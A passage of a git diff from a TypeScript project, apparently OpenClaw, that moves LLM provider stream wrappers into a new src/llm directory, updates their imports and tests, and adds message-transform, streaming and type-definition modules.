describe("createMinimaxThinkingDisabledWrapper", () => { it("preserves an already-set thinking value", () => { let capturedThinking: unknown = undefined; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { thinking: { type: "enabled", budget_tokens: 1024 }, }; - options?.onPayload?.(payload, _model); + options?.onPayload?.(payload, model); capturedThinking = payload.thinking; return {} as ReturnType; }; diff --git a/src/agents/pi-embedded-runner/minimax-stream-wrappers.ts b/src/llm/providers/stream-wrappers/minimax.ts similarity index 90% rename from src/agents/pi-embedded-runner/minimax-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/minimax.ts index cd216daf4e6..d3c30a9d83b 100644 --- a/src/agents/pi-embedded-runner/minimax-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/minimax.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import { streamSimple } from "../../stream.js"; const MINIMAX_FAST_MODEL_IDS = new Map([ ["MiniMax-M2.7", "MiniMax-M2.7-highspeed"], @@ -46,7 +46,7 @@ export function createMinimaxFastModeWrapper( /** * MiniMax's Anthropic-compatible streaming endpoint returns reasoning_content * in OpenAI-style delta chunks ({delta: {content: "", reasoning_content: "..."}}) - * rather than the native Anthropic thinking block format. Pi-ai's Anthropic + * rather than the native Anthropic thinking block format. The shared Anthropic * provider cannot process this format and leaks the reasoning text as visible * content. Disable thinking in the outgoing payload so MiniMax does not produce * reasoning_content deltas during streaming. @@ -66,7 +66,7 @@ export function createMinimaxThinkingDisabledWrapper(baseStreamFn: StreamFn | un if (payload && typeof payload === "object") { const payloadObj = payload as Record; // Only inject if thinking is not already explicitly set. - // This preserves any intentional override from other wrappers. + // This preserves unknown intentional override from other wrappers. if (payloadObj.thinking === undefined) { payloadObj.thinking = { type: "disabled" }; } diff --git a/src/agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.ts b/src/llm/providers/stream-wrappers/moonshot-thinking.ts similarity index 91% rename from src/agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/moonshot-thinking.ts index e29464b92df..3bf70536ae7 100644 --- a/src/agents/pi-embedded-runner/moonshot-thinking-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/moonshot-thinking.ts @@ -1,16 +1,16 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { ThinkLevel } from "../../auto-reply/thinking.js"; -import { createLazyImportLoader } from "../../shared/lazy-promise.js"; -import { normalizeOptionalLowercaseString } from "../../shared/string-coerce.js"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import type { ThinkLevel } from "../../../auto-reply/thinking.js"; +import { createLazyImportLoader } from "../../../shared/lazy-promise.js"; +import { normalizeOptionalLowercaseString } from "../../../shared/string-coerce.js"; import { streamWithPayloadPatch } from "./stream-payload-utils.js"; type MoonshotThinkingType = "enabled" | "disabled"; type MoonshotThinkingKeep = "all"; const MOONSHOT_THINKING_KEEP_MODEL_ID = "kimi-k2.6"; -const piAiRuntimeLoader = createLazyImportLoader(() => import("@earendil-works/pi-ai")); +const llmRuntimeLoader = createLazyImportLoader(() => import("openclaw/plugin-sdk/llm")); async function loadDefaultStreamFn(): Promise { - const runtime = await piAiRuntimeLoader.load(); + const runtime = await llmRuntimeLoader.load(); return runtime.streamSimple; } diff --git a/src/agents/pi-embedded-runner/moonshot-stream-wrappers.ts b/src/llm/providers/stream-wrappers/moonshot.ts similarity index 78% rename from src/agents/pi-embedded-runner/moonshot-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/moonshot.ts index 9d08febff76..129217d33ea 100644 --- a/src/agents/pi-embedded-runner/moonshot-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/moonshot.ts @@ -1,13 +1,13 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; -import type { ThinkLevel } from "../../auto-reply/thinking.js"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import type { ThinkLevel } from "../../../auto-reply/thinking.js"; +import { streamSimple } from "../../stream.js"; import { streamWithPayloadPatch } from "./stream-payload-utils.js"; export { createMoonshotThinkingWrapper, resolveMoonshotThinkingKeep, resolveMoonshotThinkingType, -} from "./moonshot-thinking-stream-wrappers.js"; +} from "./moonshot-thinking.js"; export function shouldApplySiliconFlowThinkingOffCompat(params: { provider: string; diff --git a/src/agents/pi-embedded-runner/openai-stream-wrappers.test.ts b/src/llm/providers/stream-wrappers/openai.test.ts similarity index 94% rename from src/agents/pi-embedded-runner/openai-stream-wrappers.test.ts rename to src/llm/providers/stream-wrappers/openai.test.ts index 4db5c133d3e..88205b8cc21 100644 --- a/src/agents/pi-embedded-runner/openai-stream-wrappers.test.ts +++ b/src/llm/providers/stream-wrappers/openai.test.ts @@ -1,6 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Model } from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Model } from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createOpenAIAttributionHeadersWrapper, @@ -8,11 +8,11 @@ import { createOpenAICompletionsToolsCompatWrapper, createOpenAIThinkingLevelWrapper, createCodexNativeWebSearchWrapper, -} from "./openai-stream-wrappers.js"; +} from "./openai.js"; function createPayloadCapture(opts?: { initialReasoning?: unknown }) { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id }; if (opts?.initialReasoning !== undefined) { payload.reasoning = structuredClone(opts.initialReasoning); @@ -39,7 +39,7 @@ const openaiModel = { describe("createOpenAICompletionsToolsCompatWrapper", () => { it("strips tools fields when OpenAI-compatible models disable tool support", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id, tools: [{ type: "function", function: { name: "noop" } }], @@ -71,7 +71,7 @@ describe("createOpenAICompletionsToolsCompatWrapper", () => { it("keeps tools fields for OpenAI-compatible models without an explicit opt-out", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id, tools: [{ type: "function", function: { name: "noop" } }], @@ -100,7 +100,7 @@ describe("createOpenAICompletionsToolsCompatWrapper", () => { describe("createCodexNativeWebSearchWrapper", () => { it("does not inject native web_search when code mode owns the tool surface", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id, tools: [ @@ -160,7 +160,7 @@ describe("createCodexNativeWebSearchWrapper", () => { it("does not enable code-mode transport enforcement when config is on but controls are inactive", () => { const observedOptions: Array> = []; const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { observedOptions.push(options as Record); const payload: Record = { model: model.id }; options?.onPayload?.(payload, model); @@ -192,7 +192,7 @@ describe("createCodexNativeWebSearchWrapper", () => { it("enforces the code-mode transport surface when the run enables it at agent scope", () => { const observedOptions: Array> = []; const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { observedOptions.push(options as Record); const payload: Record = { model: model.id, @@ -235,7 +235,7 @@ describe("createCodexNativeWebSearchWrapper", () => { it("keeps grouped provider tool declarations when code mode filters the payload", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id, tools: [ @@ -287,7 +287,7 @@ describe("createCodexNativeWebSearchWrapper", () => { describe("createOpenAICompletionsStrictMessageKeysWrapper", () => { it("strips message keys to role and content for strict OpenAI-compatible endpoints", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { model: model.id, messages: [ @@ -461,12 +461,12 @@ describe("createOpenAIThinkingLevelWrapper", () => { it("raises minimal reasoning for web_search on loopback Responses routes", () => { const payloads: Array> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { const payload: Record = { reasoning: { effort: "minimal", summary: "auto" }, tools: [{ type: "function", name: "web_search" }], }; - options?.onPayload?.(payload, _model); + options?.onPayload?.(payload, model); payloads.push(structuredClone(payload)); return createAssistantMessageEventStream(); }; @@ -508,10 +508,10 @@ describe("createOpenAIThinkingLevelWrapper", () => { }); describe("createOpenAIAttributionHeadersWrapper", () => { - it("routes native Codex traffic through the OpenClaw transport so attribution survives PI defaults", () => { + it("routes native Codex traffic through the OpenClaw transport so attribution survives OpenClaw defaults", () => { let codexCalls = 0; let capturedHeaders: Record | undefined; - const codexTransport: StreamFn = (_model, _context, options) => { + const codexTransport: StreamFn = (model, context, options) => { codexCalls += 1; capturedHeaders = options?.headers; return createAssistantMessageEventStream(); @@ -528,8 +528,8 @@ describe("createOpenAIAttributionHeadersWrapper", () => { { messages: [] }, { headers: { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", }, }, ); @@ -548,7 +548,7 @@ describe("createOpenAIAttributionHeadersWrapper", () => { headers?: Record; } | undefined; - const upstream: StreamFn = (_model, _context, options) => { + const upstream: StreamFn = (model, context, options) => { upstreamCalls += 1; capturedOptions = options; return createAssistantMessageEventStream(); @@ -570,8 +570,8 @@ describe("createOpenAIAttributionHeadersWrapper", () => { { apiKey: "oauth-bearer-token", headers: { - originator: "pi", - "User-Agent": "pi", + originator: "openclaw", + "User-Agent": "openclaw", }, }, ); diff --git a/src/agents/pi-embedded-runner/openai-stream-wrappers.ts b/src/llm/providers/stream-wrappers/openai.ts similarity index 94% rename from src/agents/pi-embedded-runner/openai-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/openai.ts index 51a3ee6abce..7ef31177a1c 100644 --- a/src/agents/pi-embedded-runner/openai-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/openai.ts @@ -1,31 +1,38 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { SimpleStreamOptions } from "@earendil-works/pi-ai"; -import { streamSimple } from "@earendil-works/pi-ai"; -import type { ThinkLevel } from "../../auto-reply/thinking.js"; -import type { OpenClawConfig } from "../../config/types.openclaw.js"; -import { isRecord } from "../../shared/record-coerce.js"; -import { normalizeOptionalLowercaseString, readStringValue } from "../../shared/string-coerce.js"; import { patchCodexNativeWebSearchPayload, resolveCodexNativeSearchActivation, -} from "../codex-native-web-search-core.js"; -import { emitModelTransportDebug } from "../model-transport-debug.js"; +} from "../../../agents/codex-native-web-search-core.js"; +import { emitModelTransportDebug } from "../../../agents/model-transport-debug.js"; import { flattenCompletionMessagesToStringContent, stripCompletionMessagesToRoleContent, -} from "../openai-completions-string-content.js"; -import { resolveOpenAIReasoningEffortForModel } from "../openai-reasoning-effort.js"; +} from "../../../agents/openai-completions-string-content.js"; +import { resolveOpenAIReasoningEffortForModel } from "../../../agents/openai-reasoning-effort.js"; import { applyOpenAIResponsesPayloadPolicy, resolveOpenAIResponsesPayloadPolicy, -} from "../openai-responses-payload-policy.js"; -import { resolveOpenAITextVerbosity, type OpenAITextVerbosity } from "../openai-text-verbosity.js"; -import { createOpenAIResponsesTransportStreamFn } from "../openai-transport-stream.js"; -import { resolveProviderRequestPolicyConfig } from "../provider-request-config.js"; -import { log } from "./logger.js"; +} from "../../../agents/openai-responses-payload-policy.js"; +import { + resolveOpenAITextVerbosity, + type OpenAITextVerbosity, +} from "../../../agents/openai-text-verbosity.js"; +import { createOpenAIResponsesTransportStreamFn } from "../../../agents/openai-transport-stream.js"; +import { resolveProviderRequestPolicyConfig } from "../../../agents/provider-request-config.js"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import type { ThinkLevel } from "../../../auto-reply/thinking.js"; +import type { OpenClawConfig } from "../../../config/types.openclaw.js"; +import { createSubsystemLogger } from "../../../logging/subsystem.js"; +import { + normalizeOptionalLowercaseString, + readStringValue, +} from "../../../shared/string-coerce.js"; +import { streamSimple } from "../../stream.js"; +import type { SimpleStreamOptions } from "../../types.js"; import { mapThinkingLevelToReasoningEffort } from "./reasoning-effort-utils.js"; import { streamWithPayloadPatch } from "./stream-payload-utils.js"; +const log = createSubsystemLogger("llm/providers/stream-wrappers"); + type OpenAIServiceTier = "auto" | "default" | "flex" | "priority"; type OpenClawSimpleStreamOptions = SimpleStreamOptions & { openclawCodeModeToolSurface?: boolean; @@ -211,6 +218,10 @@ function shouldStripOpenAICompletionMessageKeys(model: { return model.api === "openai-completions" && compat?.strictMessageKeys === true; } +function isRecord(value: unknown): value is Record { + return Boolean(value && typeof value === "object" && !Array.isArray(value)); +} + function hasResponsesWebSearchTool(tools: unknown): boolean { if (!Array.isArray(tools)) { return false; diff --git a/src/agents/pi-embedded-runner/proxy-stream-wrappers.test.ts b/src/llm/providers/stream-wrappers/proxy.test.ts similarity index 89% rename from src/agents/pi-embedded-runner/proxy-stream-wrappers.test.ts rename to src/llm/providers/stream-wrappers/proxy.test.ts index 35a6a3546f3..6fd0b61c205 100644 --- a/src/agents/pi-embedded-runner/proxy-stream-wrappers.test.ts +++ b/src/llm/providers/stream-wrappers/proxy.test.ts @@ -1,17 +1,14 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; -import { createAssistantMessageEventStream } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; +import { createAssistantMessageEventStream } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; -import { - createOpenRouterSystemCacheWrapper, - createOpenRouterWrapper, -} from "./proxy-stream-wrappers.js"; +import { createOpenRouterSystemCacheWrapper, createOpenRouterWrapper } from "./proxy.js"; function runSystemCacheWrapper(model: Partial>) { const payload = { messages: [{ role: "system", content: "system prompt" }], }; - const baseStreamFn: StreamFn = (resolvedModel, _context, options) => { + const baseStreamFn: StreamFn = (resolvedModel, context, options) => { options?.onPayload?.(payload, resolvedModel); return createAssistantMessageEventStream(); }; @@ -34,7 +31,7 @@ function runSystemCacheWrapper(model: Partial>) { describe("proxy stream wrappers", () => { it("adds OpenRouter attribution headers to stream options", () => { const calls: Array<{ headers?: Record }> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { calls.push({ headers: options?.headers, }); @@ -66,7 +63,7 @@ describe("proxy stream wrappers", () => { it("adds opt-in OpenRouter response caching headers", () => { const calls: Array<{ headers?: Record }> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { calls.push({ headers: options?.headers }); return createAssistantMessageEventStream(); }; @@ -94,7 +91,7 @@ describe("proxy stream wrappers", () => { it("sends OpenRouter response cache disables for preset opt-outs", () => { const calls: Array<{ headers?: Record }> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { calls.push({ headers: options?.headers }); return createAssistantMessageEventStream(); }; @@ -120,7 +117,7 @@ describe("proxy stream wrappers", () => { it("supports OpenRouter response cache refresh and TTL clamping", () => { const calls: Array<{ headers?: Record }> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { calls.push({ headers: options?.headers }); return createAssistantMessageEventStream(); }; @@ -147,7 +144,7 @@ describe("proxy stream wrappers", () => { it("does not add OpenRouter response caching headers to custom proxy routes", () => { const calls: Array<{ headers?: Record }> = []; - const baseStreamFn: StreamFn = (_model, _context, options) => { + const baseStreamFn: StreamFn = (model, context, options) => { calls.push({ headers: options?.headers }); return createAssistantMessageEventStream(); }; diff --git a/src/agents/pi-embedded-runner/proxy-stream-wrappers.ts b/src/llm/providers/stream-wrappers/proxy.ts similarity index 94% rename from src/agents/pi-embedded-runner/proxy-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/proxy.ts index cb8d7306802..0a4a16ef5ba 100644 --- a/src/agents/pi-embedded-runner/proxy-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/proxy.ts @@ -1,9 +1,12 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; -import type { ThinkLevel } from "../../auto-reply/thinking.js"; -import { normalizeOptionalLowercaseString, readStringValue } from "../../shared/string-coerce.js"; -import { resolveProviderRequestPolicy } from "../provider-attribution.js"; -import { resolveProviderRequestPolicyConfig } from "../provider-request-config.js"; +import { resolveProviderRequestPolicy } from "../../../agents/provider-attribution.js"; +import { resolveProviderRequestPolicyConfig } from "../../../agents/provider-request-config.js"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import type { ThinkLevel } from "../../../auto-reply/thinking.js"; +import { + normalizeOptionalLowercaseString, + readStringValue, +} from "../../../shared/string-coerce.js"; +import { streamSimple } from "../../stream.js"; import { applyAnthropicEphemeralCacheControlMarkers } from "./anthropic-cache-control-payload.js"; import { isAnthropicModelRef } from "./anthropic-family-cache-semantics.js"; import { mapThinkingLevelToReasoningEffort } from "./reasoning-effort-utils.js"; diff --git a/src/agents/pi-embedded-runner/reasoning-effort-utils.test.ts b/src/llm/providers/stream-wrappers/reasoning-effort-utils.test.ts similarity index 100% rename from src/agents/pi-embedded-runner/reasoning-effort-utils.test.ts rename to src/llm/providers/stream-wrappers/reasoning-effort-utils.test.ts diff --git a/src/agents/pi-embedded-runner/reasoning-effort-utils.ts b/src/llm/providers/stream-wrappers/reasoning-effort-utils.ts similarity index 85% rename from src/agents/pi-embedded-runner/reasoning-effort-utils.ts rename to src/llm/providers/stream-wrappers/reasoning-effort-utils.ts index e5f6acd265b..24d5f9ced70 100644 --- a/src/agents/pi-embedded-runner/reasoning-effort-utils.ts +++ b/src/llm/providers/stream-wrappers/reasoning-effort-utils.ts @@ -1,4 +1,4 @@ -import type { ThinkLevel } from "../../auto-reply/thinking.js"; +import type { ThinkLevel } from "../../../auto-reply/thinking.js"; export type ReasoningEffort = "none" | "minimal" | "low" | "medium" | "high" | "xhigh"; diff --git a/src/agents/pi-embedded-runner/stream-payload-utils.ts b/src/llm/providers/stream-wrappers/stream-payload-utils.ts similarity index 89% rename from src/agents/pi-embedded-runner/stream-payload-utils.ts rename to src/llm/providers/stream-wrappers/stream-payload-utils.ts index 1d102cb8773..5468be6fd19 100644 --- a/src/agents/pi-embedded-runner/stream-payload-utils.ts +++ b/src/llm/providers/stream-wrappers/stream-payload-utils.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "../../../agents/runtime/index.js"; export function streamWithPayloadPatch( underlying: StreamFn, diff --git a/src/agents/pi-embedded-runner/zai-stream-wrappers.ts b/src/llm/providers/stream-wrappers/zai.ts similarity index 88% rename from src/agents/pi-embedded-runner/zai-stream-wrappers.ts rename to src/llm/providers/stream-wrappers/zai.ts index c98ac5ae0e1..058c97a11d5 100644 --- a/src/agents/pi-embedded-runner/zai-stream-wrappers.ts +++ b/src/llm/providers/stream-wrappers/zai.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { streamSimple } from "@earendil-works/pi-ai"; +import type { StreamFn } from "../../../agents/runtime/index.js"; +import { streamSimple } from "../../stream.js"; import { streamWithPayloadPatch } from "./stream-payload-utils.js"; /** diff --git a/src/llm/providers/transform-messages.ts b/src/llm/providers/transform-messages.ts new file mode 100644 index 00000000000..f4f8dbde6da --- /dev/null +++ b/src/llm/providers/transform-messages.ts @@ -0,0 +1,231 @@ +import type { + Api, + AssistantMessage, + ImageContent, + Message, + Model, + TextContent, + ToolCall, + ToolResultMessage, +} from "../types.js"; + +const NON_VISION_USER_IMAGE_PLACEHOLDER = "(image omitted: model does not support images)"; +const NON_VISION_TOOL_IMAGE_PLACEHOLDER = "(tool image omitted: model does not support images)"; + +function replaceImagesWithPlaceholder( + content: (TextContent | ImageContent)[], + placeholder: string, +): TextContent[] { + const result: TextContent[] = []; + let previousWasPlaceholder = false; + + for (const block of content) { + if (block.type === "image") { + if (!previousWasPlaceholder) { + result.push({ type: "text", text: placeholder }); + } + previousWasPlaceholder = true; + continue; + } + + result.push(block); + previousWasPlaceholder = block.text === placeholder; + } + + return result; +} + +function downgradeUnsupportedImages( + messages: Message[], + model: Model, +): Message[] { + if (model.input.includes("image")) { + return messages; + } + + return messages.map((msg) => { + if (msg.role === "user" && Array.isArray(msg.content)) { + return { + ...msg, + content: replaceImagesWithPlaceholder(msg.content, NON_VISION_USER_IMAGE_PLACEHOLDER), + }; + } + + if (msg.role === "toolResult") { + return { + ...msg, + content: replaceImagesWithPlaceholder(msg.content, NON_VISION_TOOL_IMAGE_PLACEHOLDER), + }; + } + + return msg; + }); +} + +/** + * Normalize tool call ID for cross-provider compatibility. + * OpenAI Responses API generates IDs that are 450+ chars with special characters like `|`. + * Anthropic APIs require IDs matching ^[a-zA-Z0-9_-]+$ (max 64 chars). + */ +export function transformMessages( + messages: Message[], + model: Model, + normalizeToolCallId?: (id: string, model: Model, source: AssistantMessage) => string, +): Message[] { + // Build a map of original tool call IDs to normalized IDs + const toolCallIdMap = new Map(); + const imageAwareMessages = downgradeUnsupportedImages(messages, model); + + // First pass: transform messages (unsupported image downgrade, thinking blocks, tool call ID normalization) + const transformed = imageAwareMessages.map((msg) => { + // User messages pass through unchanged + if (msg.role === "user") { + return msg; + } + + // Handle toolResult messages - normalize toolCallId if we have a mapping + if (msg.role === "toolResult") { + const normalizedId = toolCallIdMap.get(msg.toolCallId); + if (normalizedId && normalizedId !== msg.toolCallId) { + return Object.assign({}, msg, { toolCallId: normalizedId }); + } + return msg; + } + + // Assistant messages need transformation check + if (msg.role === "assistant") { + const assistantMsg = msg; + const isSameModel = + assistantMsg.provider === model.provider && + assistantMsg.api === model.api && + assistantMsg.model === model.id; + + const transformedContent = assistantMsg.content.flatMap((block) => { + if (block.type === "thinking") { + // Redacted thinking is opaque encrypted content, only valid for the same model. + // Drop it for cross-model to avoid API errors. + if (block.redacted) { + return isSameModel ? block : []; + } + // For same model: keep thinking blocks with signatures (needed for replay) + // even if the thinking text is empty (OpenAI encrypted reasoning) + if (isSameModel && block.thinkingSignature) { + return block; + } + // Skip empty thinking blocks, convert others to plain text + if (!block.thinking || block.thinking.trim() === "") { + return []; + } + if (isSameModel) { + return block; + } + return { + type: "text" as const, + text: block.thinking, + }; + } + + if (block.type === "text") { + if (isSameModel) { + return block; + } + return { + type: "text" as const, + text: block.text, + }; + } + + if (block.type === "toolCall") { + const toolCall = block; + let normalizedToolCall: ToolCall = toolCall; + + if (!isSameModel && toolCall.thoughtSignature) { + normalizedToolCall = Object.assign({}, toolCall); + delete (normalizedToolCall as { thoughtSignature?: string }).thoughtSignature; + } + + if (!isSameModel && normalizeToolCallId) { + const normalizedId = normalizeToolCallId(toolCall.id, model, assistantMsg); + if (normalizedId !== toolCall.id) { + toolCallIdMap.set(toolCall.id, normalizedId); + normalizedToolCall = Object.assign({}, normalizedToolCall, { id: normalizedId }); + } + } + + return normalizedToolCall; + } + + return block; + }); + + return Object.assign({}, assistantMsg, { content: transformedContent }); + } + return msg; + }); + + // Second pass: insert synthetic empty tool results for orphaned tool calls + // This preserves thinking signatures and satisfies API requirements + const result: Message[] = []; + let pendingToolCalls: ToolCall[] = []; + let existingToolResultIds = new Set(); + const insertSyntheticToolResults = () => { + if (pendingToolCalls.length > 0) { + for (const tc of pendingToolCalls) { + if (!existingToolResultIds.has(tc.id)) { + result.push({ + role: "toolResult", + toolCallId: tc.id, + toolName: tc.name, + content: [{ type: "text", text: "No result provided" }], + isError: true, + timestamp: Date.now(), + } as ToolResultMessage); + } + } + pendingToolCalls = []; + existingToolResultIds = new Set(); + } + }; + + for (let i = 0; i < transformed.length; i++) { + const msg = transformed[i]; + + if (msg.role === "assistant") { + // If we have pending orphaned tool calls from a previous assistant, insert synthetic results now + insertSyntheticToolResults(); + + // Skip errored/aborted assistant messages entirely. + // These are incomplete turns that shouldn't be replayed: + // - May have partial content (reasoning without message, incomplete tool calls) + // - Replaying them can cause API errors (e.g., OpenAI "reasoning without following item") + // - The model should retry from the last valid state + const assistantMsg = msg as AssistantMessage; + if (assistantMsg.stopReason === "error" || assistantMsg.stopReason === "aborted") { + continue; + } + + // Track tool calls from this assistant message + const toolCalls = assistantMsg.content.filter((b) => b.type === "toolCall"); + if (toolCalls.length > 0) { + pendingToolCalls = toolCalls; + existingToolResultIds = new Set(); + } + + result.push(msg); + } else if (msg.role === "toolResult") { + existingToolResultIds.add(msg.toolCallId); + result.push(msg); + } else if (msg.role === "user") { + // User message interrupts tool flow - insert synthetic results for orphaned calls + insertSyntheticToolResults(); + result.push(msg); + } else { + result.push(msg); + } + } + + // If the conversation ends with unresolved tool calls, synthesize results now. + insertSyntheticToolResults(); + + return result; +} diff --git a/src/llm/session-resources.ts b/src/llm/session-resources.ts new file mode 100644 index 00000000000..2868ad816cb --- /dev/null +++ b/src/llm/session-resources.ts @@ -0,0 +1,24 @@ +export type SessionResourceCleanup = (sessionId?: string) => void; + +const sessionResourceCleanups = new Set(); + +export function registerSessionResourceCleanup(cleanup: SessionResourceCleanup): () => void { + sessionResourceCleanups.add(cleanup); + return () => { + sessionResourceCleanups.delete(cleanup); + }; +} + +export function cleanupSessionResources(sessionId?: string): void { + const errors: unknown[] = []; + for (const cleanup of sessionResourceCleanups) { + try { + cleanup(sessionId); + } catch (error) { + errors.push(error); + } + } + if (errors.length > 0) { + throw new AggregateError(errors, "Failed to cleanup session resources"); + } +} diff --git a/src/llm/stream.ts b/src/llm/stream.ts new file mode 100644 index 00000000000..590abb38578 --- /dev/null +++ b/src/llm/stream.ts @@ -0,0 +1,58 @@ +import "./providers/register-builtins.js"; +import { getApiProvider } from "./api-registry.js"; +import type { + Api, + AssistantMessage, + AssistantMessageEventStreamContract, + Context, + Model, + ProviderStreamOptions, + SimpleStreamOptions, + StreamOptions, +} from "./types.js"; + +export { getEnvApiKey } from "./env-api-keys.js"; + +function resolveApiProvider(api: Api) { + const provider = getApiProvider(api); + if (!provider) { + throw new Error(`No API provider registered for api: ${api}`); + } + return provider; +} + +export function stream( + model: Model, + context: Context, + options?: ProviderStreamOptions, +): AssistantMessageEventStreamContract { + const provider = resolveApiProvider(model.api); + return provider.stream(model, context, options as StreamOptions); +} + +export async function complete( + model: Model, + context: Context, + options?: ProviderStreamOptions, +): Promise { + const s = stream(model, context, options); + return s.result(); +} + +export function streamSimple( + model: Model, + context: Context, + options?: SimpleStreamOptions, +): AssistantMessageEventStreamContract { + const provider = resolveApiProvider(model.api); + return provider.streamSimple(model, context, options); +} + +export async function completeSimple( + model: Model, + context: Context, + options?: SimpleStreamOptions, +): Promise { + const s = streamSimple(model, context, options); + return s.result(); +} diff --git a/src/llm/types.ts b/src/llm/types.ts new file mode 100644 index 00000000000..0ca8316ecb6 --- /dev/null +++ b/src/llm/types.ts @@ -0,0 +1,556 @@ +import type { AssistantMessageDiagnostic } from "./utils/diagnostics.js"; + +export type KnownApi = + | "openai-completions" + | "mistral-conversations" + | "openai-responses" + | "azure-openai-responses" + | "openai-codex-responses" + | "anthropic-messages" + | "bedrock-converse-stream" + | "google-generative-ai" + | "google-vertex"; + +export type Api = KnownApi | (string & {}); + +export type KnownImagesApi = "openrouter-images"; + +export type ImagesApi = KnownImagesApi | (string & {}); + +export type Provider = string; + +export type KnownImagesProvider = "openrouter"; + +export type ImagesProvider = string; + +export type ThinkingLevel = "minimal" | "low" | "medium" | "high" | "xhigh"; +export type ModelThinkingLevel = "off" | ThinkingLevel; +export type ThinkingLevelMap = Partial>; + +/** Token budgets for each thinking level (token-based providers only) */ +export interface ThinkingBudgets { + minimal?: number; + low?: number; + medium?: number; + high?: number; +} + +// Base options all providers share +export type CacheRetention = "none" | "short" | "long"; + +export type Transport = "sse" | "websocket" | "websocket-cached" | "auto"; + +export type MaybePromise = T | Promise; + +export interface ProviderResponse { + status: number; + headers: Record; +} + +export interface StreamOptions { + temperature?: number; + maxTokens?: number; + signal?: AbortSignal; + apiKey?: string; + /** + * Preferred transport for providers that support multiple transports. + * Providers that do not support this option ignore it. + */ + transport?: Transport; + /** + * Prompt cache retention preference. Providers map this to their supported values. + * Default: "short". + */ + cacheRetention?: CacheRetention; + /** + * Optional session identifier for providers that support session-based caching. + * Providers can use this to enable prompt caching, request routing, or other + * session-aware features. Ignored by providers that don't support it. + */ + sessionId?: string; + /** + * Optional callback for inspecting or replacing provider payloads before sending. + * Return undefined to keep the payload unchanged. + */ + onPayload?: (payload: unknown, model: Model) => MaybePromise; + /** + * Optional callback invoked after an HTTP response is received and before + * its body stream is consumed. + */ + onResponse?: (response: ProviderResponse, model: Model) => void | Promise; + /** + * Optional custom HTTP headers to include in API requests. + * Merged with provider defaults; can override default headers. + * Not supported by all providers (e.g., AWS Bedrock uses SDK auth). + */ + headers?: Record; + /** + * HTTP request timeout in milliseconds for providers/SDKs that support it. + * For example, OpenAI and Anthropic SDK clients default to 10 minutes. + */ + timeoutMs?: number; + /** + * Maximum retry attempts for providers/SDKs that support client-side retries. + * For example, OpenAI and Anthropic SDK clients default to 2. + */ + maxRetries?: number; + /** + * Maximum delay in milliseconds to wait for a retry when the server requests a long wait. + * If the server's requested 